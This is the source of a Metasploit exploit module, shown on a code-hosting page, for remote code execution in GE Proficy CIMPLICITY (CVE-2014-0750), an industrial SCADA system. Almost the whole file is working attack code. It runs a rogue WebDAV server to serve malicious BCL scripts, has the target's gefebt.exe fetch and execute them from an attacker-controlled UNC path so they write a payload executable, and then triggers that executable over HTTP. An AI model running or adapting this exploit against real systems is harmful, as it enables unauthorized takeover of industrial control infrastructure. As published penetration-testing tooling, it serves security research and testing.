Path: blob/master/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb
19515 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Auxiliary::Report9include Msf::Exploit::EXE10include Msf::Exploit::Remote::HttpClient11include Msf::Exploit::Remote::HttpServer::HTML1213def initialize14super(15'Name' => 'GE Proficy CIMPLICITY gefebt.exe Remote Code Execution',16'Description' => %q{17This module abuses the gefebt.exe component in GE Proficy CIMPLICITY, reachable through the18CIMPLICIY CimWebServer. The vulnerable component allows to execute remote BCL files in19shared resources. An attacker can abuse this behavior to execute a malicious BCL and20drop an arbitrary EXE. The last one can be executed remotely through the WebView server.21This module has been tested successfully in GE Proficy CIMPLICITY 7.5 with the embedded22CimWebServer. This module starts a WebDAV server to provide the malicious BCL files. If23the target does not have the WebClient service enabled, an external SMB service is necessary.24},25'Author' => [26'amisto0x07', # Vulnerability discovery27'Z0mb1E', # Vulnerability discovery28'juan vazquez' # Metasploit module29],30'References' => [31[ 'CVE', '2014-0750'],32[ 'ZDI', '14-015' ],33[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-023-01' ]34],35'Stance' => Msf::Exploit::Stance::Aggressive,36'Platform' => 'win',37'Targets' => [38[ 'GE Proficy CIMPLICITY 7.5 (embedded CimWebServer)', {} ]39],40'DefaultTarget' => 0,41'Privileged' => true,42'DisclosureDate' => 'Jan 23 2014'43)44register_options(45[46Opt::RPORT(80),47OptString.new('URIPATH', [ true, 'The URI to use (do not change)', '/' ]),48OptPort.new('SRVPORT', [ true, 'The daemon port to listen on (do not change)', 80 ]),49OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ]),50OptBool.new('ONLYMAKE', [ false, 'Just generate the malicious BCL files for using with an external SMB server.', true ]),51OptString.new('TARGETURI', [true, 'The base path to the CimWeb', '/'])52]53)54end5556def on_request_uri(cli, request)57case request.method58when 'OPTIONS'59process_options(cli, request)60when 'PROPFIND'61process_propfind(cli, request)62when 'GET'63process_get(cli, request)64else65vprint_status("#{request.method} => 404 (#{request.uri})")66resp = create_response(404, "Not Found")67resp.body = ""68resp['Content-Type'] = 'text/html'69cli.send_response(resp)70end71end7273def autofilter74true75end7677def process_get(cli, request)78if request.uri =~ /#{@basename}(\d)\.bcl/79print_status("GET => Payload")80data = @bcls[$1.to_i]81send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })82return83end8485# Anything else is probably a request for a data file...86vprint_status("GET => DATA (#{request.uri})")87data = rand_text_alpha(8 + rand(10))88send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })89end9091#92# OPTIONS requests sent by the WebDav Mini-Redirector93#94def process_options(cli, request)95vprint_status("OPTIONS #{request.uri}")96headers = {97'MS-Author-Via' => 'DAV',98'DASL' => '<DAV:sql>',99'DAV' => '1, 2',100'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',101'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',102'Cache-Control' => 'private'103}104resp = create_response(207, "Multi-Status")105headers.each_pair { |k, v| resp[k] = v }106resp.body = ""107resp['Content-Type'] = 'text/xml'108cli.send_response(resp)109end110111#112# PROPFIND requests sent by the WebDav Mini-Redirector113#114def process_propfind(cli, request)115path = request.uri116print_status("Received WebDAV PROPFIND request")117body = ''118119if (path =~ /\.bcl$/i)120print_status("Sending BCL multistatus for #{path} ...")121body = %Q|<?xml version="1.0"?>122<a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:">123<a:response>124</a:response>125</a:multistatus>126|127elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))128# Response for anything else (generally just /)129print_status("Sending directory multistatus for #{path} ...")130body = %Q|<?xml version="1.0" encoding="utf-8"?>131<D:multistatus xmlns:D="DAV:">132<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">133<D:href>#{path}</D:href>134<D:propstat>135<D:prop>136<lp1:resourcetype><D:collection/></lp1:resourcetype>137<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>138<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>139<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>140<D:lockdiscovery/>141<D:getcontenttype>httpd/unix-directory</D:getcontenttype>142</D:prop>143<D:status>HTTP/1.1 200 OK</D:status>144</D:propstat>145</D:response>146</D:multistatus>147|148else149print_status("Sending 404 for #{path} ...")150send_not_found(cli)151return152end153154# send the response155resp = create_response(207, "Multi-Status")156resp.body = body157resp['Content-Type'] = 'text/xml'158cli.send_response(resp)159end160161def check162uri = normalize_uri(target_uri.to_s, "CimWeb", "gefebt.exe")163uri << "?"164165res = send_request_cgi('uri' => uri)166167# res.to_s is used because the CIMPLICITY embedded web server168# doesn't send HTTP compatible responses.169if res and res.code == 200 and res.to_s =~ /Usage.*gefebt\.exe/170return Exploit::CheckCode::Detected171end172173Exploit::CheckCode::Unknown174end175176def exploit177@extensions = "bcl"178@bcls = []179@total_exe = 0180181setup_resources182183make_bcls184185print_status("BCLs available at #{@exploit_unc}#{@share_name}\\#{@basename}{i}.bcl")186187unless datastore['UNCPATH'].blank?188@bcls.each_index { |i| file_create("#{@basename}#{i}.bcl", @bcls[i]) }189if datastore['ONLYMAKE']190print_warning("Files created, remember to upload the BCL files to the remote share!")191print_warning("Once ready set ONLYMAKE to false")192else193exploit_bcl194end195return196end197198super199end200201def setup_resources202if datastore['UNCPATH'].blank?203# Using WebDAV204my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']205@basename = rand_text_alpha(3)206@share_name = rand_text_alpha(3)207@exploit_unc = "\\\\#{my_host}\\"208@exe_filename = "#{rand_text_alpha(3 + rand(4))}.exe"209unless datastore['SRVPORT'].to_i == 80 && datastore['URIPATH'] == '/'210fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')211end212else213# Using external SMB Server214if datastore['UNCPATH'] =~ /(\\\\[^\\]*\\)([^\\]*)\\([^\\]*)\.bcl/215@exploit_unc = $1216@share_name = $2217@basename = $3218# Use an static file name for the EXE since the module doesn't219# deliver the BCL files in this case.220@exe_filename = "ge_pld.exe"221else222fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be \\\\host\\shared_folder\\base_name.blc')223end224end225end226227def make_bcls228exe = generate_payload_exe229# Padding to be sure we're aligned to 4 bytes.230exe << "\x00" until exe.length % 4 == 0231longs = exe.unpack("V*")232offset = 0233234# gefebt.exe isn't able to handle (on my test environment) long235# arrays bigger than 16000, so we need to split it.236while longs.length > 0237parts = longs.slice!(0, 16000)238@bcls << generate_bcl(parts, offset)239offset += parts.length * 4240end241end242243def generate_bcl(slices, offset)244bcl_payload = ""245246slices.each_index do |i|247bcl_payload << "s(#{i + 1}) = #{slices[i]}\n"248end249250<<~EOF251Option CStrings On252253Sub Main()254Open "#{@exe_filename}" For Binary Access Write As #1255Dim s(#{slices.length}) As Long256#{bcl_payload}257258For x = 1 To #{slices.length}259t = x - 1260Put #1,t*4+1+#{offset},s(x)261Next x262263Close264End Sub265EOF266end267268def execute_bcl(i)269print_status("Executing BCL code #{@basename}#{i}.bcl to drop final payload...")270271uri = normalize_uri(target_uri.to_s, "CimWeb", "gefebt.exe")272uri << "?#{@exploit_unc}#{@share_name}\\#{@basename}#{i}.bcl"273274res = send_request_cgi('uri' => uri)275276# We use res.to_s because the embedded CIMPLICITY Web server doesn't277# answer with valid HTTP responses.278if res and res.code == 200 and res.to_s =~ /(^Error.*$)/279print_error("Server answered with error: $1")280fail_with(Failure::Unknown, "#{peer} - Server answered with error")281elsif res and res.code == 200 and res.to_s =~ /No such file or directory/282fail_with(Failure::BadConfig, "#{peer} - The target wasn't able to access the remote BCL file")283elsif res and res.code == 200284print_good("'200 OK' answer indicates success!")285else286fail_with(Failure::Unknown, "#{peer} - Unknown error")287end288end289290def exploit_bcl291@bcls.each_index do |i|292execute_bcl(i)293end294295print_status("Executing #{@exe_filename}...")296uri = normalize_uri(target_uri.to_s, "CimWeb", @exe_filename)297uri << "?"298299# Enough timeout to execute the payload, but don't block the exploit300# until there is an answer.301send_request_cgi({ 'uri' => uri }, 3)302end303304def primer305exploit_bcl306service.stop307end308309def file_create(fname, data)310ltype = "exploit.fileformat.#{self.shortname}"311full_path = store_local(ltype, nil, data, fname)312print_good("#{fname} stored at #{full_path}")313end314end315316317